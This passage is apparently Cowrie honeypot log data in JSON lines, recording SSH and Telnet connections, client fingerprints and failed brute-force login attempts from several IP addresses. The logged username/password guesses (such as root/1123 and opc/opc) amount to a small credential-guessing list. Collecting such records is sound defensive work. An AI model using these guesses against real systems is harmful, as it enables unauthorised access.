{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":12762,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2ae2ee0676c","protocol":"ssh","message":"New connection: 94.26.106.229:12762 (159.203.135.109:22) [session: e2ae2ee0676c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:00.064718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:00.069912Z","src_ip":"94.26.106.229","session":"e2ae2ee0676c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":37066,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6ecf4b2e9c5","protocol":"ssh","message":"New connection: 94.26.106.229:37066 (159.203.135.109:22) [session: a6ecf4b2e9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:00.091105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:00.096372Z","src_ip":"94.26.106.229","session":"a6ecf4b2e9c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:00.233014Z","src_ip":"94.26.106.229","session":"e2ae2ee0676c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:00.268869Z","src_ip":"94.26.106.229","session":"a6ecf4b2e9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":44692,"dst_ip":"159.203.135.109","dst_port":22,"session":"2609a5a3a389","protocol":"ssh","message":"New connection: 103.183.114.55:44692 (159.203.135.109:22) [session: 2609a5a3a389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:00.456749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:00.461968Z","src_ip":"103.183.114.55","session":"2609a5a3a389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:00.686649Z","src_ip":"103.183.114.55","session":"2609a5a3a389","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1123","message":"login attempt [root/1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:00.843349Z","src_ip":"94.26.106.229","session":"e2ae2ee0676c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"user","message":"login attempt [deployer/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:00.894493Z","src_ip":"94.26.106.229","session":"a6ecf4b2e9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marina123","message":"login attempt [root/marina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:01.362741Z","src_ip":"103.183.114.55","session":"2609a5a3a389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:01.929824Z","src_ip":"94.26.106.229","session":"e2ae2ee0676c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:01.981756Z","src_ip":"94.26.106.229","session":"a6ecf4b2e9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42888,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1dcf1cd2c5e","protocol":"telnet","message":"New connection: 152.42.224.71:42888 (10.17.0.5:23) [session: f1dcf1cd2c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:02.014795Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42050,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7eedc4fb0d7","protocol":"ssh","message":"New connection: 45.156.87.204:42050 (159.203.135.109:22) [session: e7eedc4fb0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:02.182477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:02.188426Z","src_ip":"45.156.87.204","session":"e7eedc4fb0d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:02.272606Z","src_ip":"45.156.87.204","session":"e7eedc4fb0d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":115.1558609008789,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:02.288677Z","src_ip":"152.42.224.71","session":"1ebc8ff1e192","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:02.523937Z","src_ip":"45.156.87.204","session":"e7eedc4fb0d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:02.587990Z","src_ip":"103.183.114.55","session":"2609a5a3a389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":37076,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdbd365bb545","protocol":"ssh","message":"New connection: 94.26.106.229:37076 (159.203.135.109:22) [session: cdbd365bb545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:02.772427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:02.776896Z","src_ip":"94.26.106.229","session":"cdbd365bb545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:02.865378Z","src_ip":"94.26.106.229","session":"cdbd365bb545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:03.133217Z","src_ip":"94.26.106.229","session":"cdbd365bb545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:03.609504Z","src_ip":"45.156.87.204","session":"e7eedc4fb0d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:04.225041Z","src_ip":"94.26.106.229","session":"cdbd365bb545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":34126,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b42532ef47f","protocol":"ssh","message":"New connection: 94.26.106.229:34126 (159.203.135.109:22) [session: 5b42532ef47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:04.958485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:05.001150Z","src_ip":"94.26.106.229","session":"5b42532ef47f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:05.149317Z","src_ip":"94.26.106.229","session":"5b42532ef47f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osm","password":"123456","message":"login attempt [osm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:05.563375Z","src_ip":"94.26.106.229","session":"5b42532ef47f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48786,"dst_ip":"159.203.135.109","dst_port":22,"session":"e665da946a9d","protocol":"ssh","message":"New connection: 45.156.87.204:48786 (159.203.135.109:22) [session: e665da946a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:06.111563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:06.116316Z","src_ip":"45.156.87.204","session":"e665da946a9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:06.198502Z","src_ip":"45.156.87.204","session":"e665da946a9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:06.444712Z","src_ip":"45.156.87.204","session":"e665da946a9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:06.654038Z","src_ip":"94.26.106.229","session":"5b42532ef47f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":45362,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bebbb539779","protocol":"ssh","message":"New connection: 119.28.114.76:45362 (159.203.135.109:22) [session: 9bebbb539779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:06.751216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:06.755681Z","src_ip":"119.28.114.76","session":"9bebbb539779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:07.005095Z","src_ip":"119.28.114.76","session":"9bebbb539779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":10040,"dst_ip":"159.203.135.109","dst_port":22,"session":"86f4f5ba188a","protocol":"ssh","message":"New connection: 2.57.121.25:10040 (159.203.135.109:22) [session: 86f4f5ba188a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:07.011975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:07.019949Z","src_ip":"2.57.121.25","session":"86f4f5ba188a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":[